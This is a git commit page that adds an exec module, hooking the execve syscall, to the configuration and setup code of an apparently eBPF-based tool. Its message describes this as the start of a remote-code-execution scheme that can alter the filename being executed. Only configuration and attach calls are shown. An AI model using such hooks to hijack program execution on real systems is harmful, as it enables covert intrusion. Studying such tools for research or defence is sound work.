Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done

This commit is contained in:
h3xduck
2022-02-06 14:15:57 -05:00
parent 05baa8fb8a
commit 044c85f3ff
12 changed files with 1766 additions and 1406 deletions

View File

@@ -2,6 +2,7 @@
#include "xdp.h"
#include "sched.h"
#include "fs.h"
#include "exec.h"
module_config_t module_config = {
.xdp_module = {
@@ -17,6 +18,10 @@ module_config_t module_config = {
.tp_sys_enter_read = OFF,
.tp_sys_exit_read = OFF,
.tp_sys_enter_openat = OFF
},
.exec_module = {
.all = ON,
.tp_sys_enter_execve = OFF
}
};
@@ -28,7 +33,8 @@ module_config_attr_t module_config_attr = {
.flags = -1
},
.sched_module = {},
.fs_module = {}
.fs_module = {},
.exec_module = {}
};
@@ -64,6 +70,14 @@ int setup_all_modules(){
}
if(ret!=0) return -1;
//EXEC
if(config.exec_module.all == ON){
ret = attach_exec_all(attr.skel);
}else{
if(config.exec_module.tp_sys_enter_execve == ON) ret = attach_tp_sys_enter_execve(attr.skel);
}
if(ret!=0) return -1;
return 0;
}